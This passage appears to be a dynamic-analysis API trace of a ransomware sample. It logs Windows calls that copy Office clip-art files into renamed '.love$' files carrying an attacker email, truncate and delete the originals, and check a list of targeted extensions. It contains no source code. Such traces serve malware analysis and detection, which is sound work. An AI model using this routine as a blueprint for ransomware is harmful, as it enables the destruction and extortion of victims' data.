WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0120.047] SetEndOfFile (hFile=0x3a4) returned 1 [0120.047] CloseHandle (hObject=0x3a4) returned 1 [0120.048] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.048] SetEndOfFile (hFile=0x3a0) returned 1 [0120.049] CloseHandle (hObject=0x3a0) returned 1 [0120.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0120.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0120.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0120.051] lstrlenW (lpString=".doc") returned 4 [0120.051] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0120.051] lstrlenW (lpString=".docx") returned 5 [0120.051] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0120.051] lstrlenW (lpString=".pdf") returned 4 [0120.051] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0120.051] lstrlenW (lpString=".xls") returned 4 [0120.051] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0120.051] lstrlenW (lpString=".xlsx") returned 5 [0120.051] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0120.051] lstrlenW (lpString=".ppt") returned 4 [0120.051] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0120.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0120.051] lstrlenW (lpString=".zip") returned 4 [0120.051] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0120.051] lstrlenW (lpString=".rar") returned 4 [0120.051] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0120.051] lstrlenW (lpString=".bz2") returned 4 [0120.051] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0120.051] lstrlenW (lpString=".7z") returned 3 [0120.051] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0120.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0120.051] lstrlenW (lpString=".dbf") returned 4 [0120.051] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0120.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0120.051] lstrlenW (lpString=".1cd") returned 4 [0120.051] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0120.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0120.051] lstrlenW (lpString=".jpg") returned 4 [0120.052] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0120.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0120.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0120.052] lstrlenW (lpString=".doc") returned 4 [0120.052] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0120.052] lstrlenW (lpString=".docx") returned 5 [0120.052] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0120.052] lstrlenW (lpString=".pdf") returned 4 [0120.052] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0120.052] lstrlenW (lpString=".xls") returned 4 [0120.052] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0120.052] lstrlenW (lpString=".xlsx") returned 5 [0120.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0120.052] lstrlenW (lpString=".ppt") returned 4 [0120.052] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0120.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0120.052] lstrlenW (lpString=".zip") returned 4 [0120.052] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0120.052] lstrlenW (lpString=".rar") returned 4 [0120.052] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0120.052] lstrlenW (lpString=".bz2") returned 4 [0120.052] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0120.052] lstrlenW (lpString=".7z") returned 3 [0120.052] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0120.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0120.052] lstrlenW (lpString=".dbf") returned 4 [0120.052] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0120.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0120.052] lstrlenW (lpString=".1cd") returned 4 [0120.052] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0120.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0120.053] lstrlenW (lpString=".jpg") returned 4 [0120.053] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0120.053] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.053] lstrlenW (lpString="AN00932_.WMF") returned 12 [0120.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0120.053] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=14428) returned 1 [0120.053] CloseHandle (hObject=0x3a0) returned 1 [0120.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 0x220 [0120.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0120.054] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.062] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0120.063] GetLastError () returned 0x0 [0120.063] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x385c, lpOverlapped=0x0) returned 1 [0120.066] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x3860, lpOverlapped=0x0) returned 1 [0120.068] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.068] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0120.068] SetEndOfFile (hFile=0x3a4) returned 1 [0120.068] CloseHandle (hObject=0x3a4) returned 1 [0120.070] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.070] SetEndOfFile (hFile=0x3a0) returned 1 [0120.071] CloseHandle (hObject=0x3a0) returned 1 [0120.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0120.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0120.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0120.072] lstrlenW (lpString=".doc") returned 4 [0120.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.072] lstrlenW (lpString=".docx") returned 5 [0120.072] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.072] lstrlenW (lpString=".pdf") returned 4 [0120.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.072] lstrlenW (lpString=".xls") returned 4 [0120.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.072] lstrlenW (lpString=".xlsx") returned 5 [0120.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.072] lstrlenW (lpString=".ppt") returned 4 [0120.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0120.073] lstrlenW (lpString=".zip") returned 4 [0120.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.073] lstrlenW (lpString=".rar") returned 4 [0120.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.073] lstrlenW (lpString=".bz2") returned 4 [0120.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.073] lstrlenW (lpString=".7z") returned 3 [0120.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0120.073] lstrlenW (lpString=".dbf") returned 4 [0120.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0120.073] lstrlenW (lpString=".1cd") returned 4 [0120.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0120.073] lstrlenW (lpString=".jpg") returned 4 [0120.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0120.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0120.073] lstrlenW (lpString=".doc") returned 4 [0120.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.073] lstrlenW (lpString=".docx") returned 5 [0120.073] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.073] lstrlenW (lpString=".pdf") returned 4 [0120.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.073] lstrlenW (lpString=".xls") returned 4 [0120.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.073] lstrlenW (lpString=".xlsx") returned 5 [0120.073] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.073] lstrlenW (lpString=".ppt") returned 4 [0120.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0120.074] lstrlenW (lpString=".zip") returned 4 [0120.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.074] lstrlenW (lpString=".rar") returned 4 [0120.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.074] lstrlenW (lpString=".bz2") returned 4 [0120.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.074] lstrlenW (lpString=".7z") returned 3 [0120.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0120.074] lstrlenW (lpString=".dbf") returned 4 [0120.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0120.074] lstrlenW (lpString=".1cd") returned 4 [0120.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0120.074] lstrlenW (lpString=".jpg") returned 4 [0120.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.074] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.074] lstrlenW (lpString="AN00965_.WMF") returned 12 [0120.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0120.075] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=7072) returned 1 [0120.075] CloseHandle (hObject=0x3a0) returned 1 [0120.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 0x220 [0120.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0120.075] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.075] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0120.076] GetLastError () returned 0x0 [0120.076] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0120.082] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0120.083] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.083] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0120.083] SetEndOfFile (hFile=0x3a4) returned 1 [0120.083] CloseHandle (hObject=0x3a4) returned 1 [0120.085] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.085] SetEndOfFile (hFile=0x3a0) returned 1 [0120.086] CloseHandle (hObject=0x3a0) returned 1 [0120.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0120.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0120.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0120.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0120.087] lstrlenW (lpString=".doc") returned 4 [0120.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.087] lstrlenW (lpString=".docx") returned 5 [0120.087] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.087] lstrlenW (lpString=".pdf") returned 4 [0120.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.087] lstrlenW (lpString=".xls") returned 4 [0120.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.087] lstrlenW (lpString=".xlsx") returned 5 [0120.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.087] lstrlenW (lpString=".ppt") returned 4 [0120.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0120.087] lstrlenW (lpString=".zip") returned 4 [0120.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.087] lstrlenW (lpString=".rar") returned 4 [0120.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.088] lstrlenW (lpString=".bz2") returned 4 [0120.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.088] lstrlenW (lpString=".7z") returned 3 [0120.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0120.088] lstrlenW (lpString=".dbf") returned 4 [0120.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0120.088] lstrlenW (lpString=".1cd") returned 4 [0120.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0120.088] lstrlenW (lpString=".jpg") returned 4 [0120.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0120.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0120.088] lstrlenW (lpString=".doc") returned 4 [0120.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0120.088] lstrlenW (lpString=".docx") returned 5 [0120.088] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0120.088] lstrlenW (lpString=".pdf") returned 4 [0120.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0120.088] lstrlenW (lpString=".xls") returned 4 [0120.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0120.088] lstrlenW (lpString=".xlsx") returned 5 [0120.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0120.088] lstrlenW (lpString=".ppt") returned 4 [0120.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0120.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0120.089] lstrlenW (lpString=".zip") returned 4 [0120.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0120.089] lstrlenW (lpString=".rar") returned 4 [0120.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0120.089] lstrlenW (lpString=".bz2") returned 4 [0120.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0120.089] lstrlenW (lpString=".7z") returned 3 [0120.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0120.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0120.089] lstrlenW (lpString=".dbf") returned 4 [0120.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0120.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0120.089] lstrlenW (lpString=".1cd") returned 4 [0120.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0120.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0120.089] lstrlenW (lpString=".jpg") returned 4 [0120.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0120.089] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0120.089] lstrlenW (lpString="AN01039_.WMF") returned 12 [0120.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0120.090] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3344) returned 1 [0120.090] CloseHandle (hObject=0x3a0) returned 1 [0120.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 0x220 [0120.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0120.090] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.090] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0120.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0120.091] GetLastError () returned 0x0 [0120.091] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0xd10, lpOverlapped=0x0) returned 1 [0120.686] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xd20, lpOverlapped=0x0) returned 1 [0120.687] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0120.687] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0120.687] SetEndOfFile (hFile=0x3a4) returned 1 [0120.688] CloseHandle (hObject=0x3a4) returned 1 [0120.689] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | 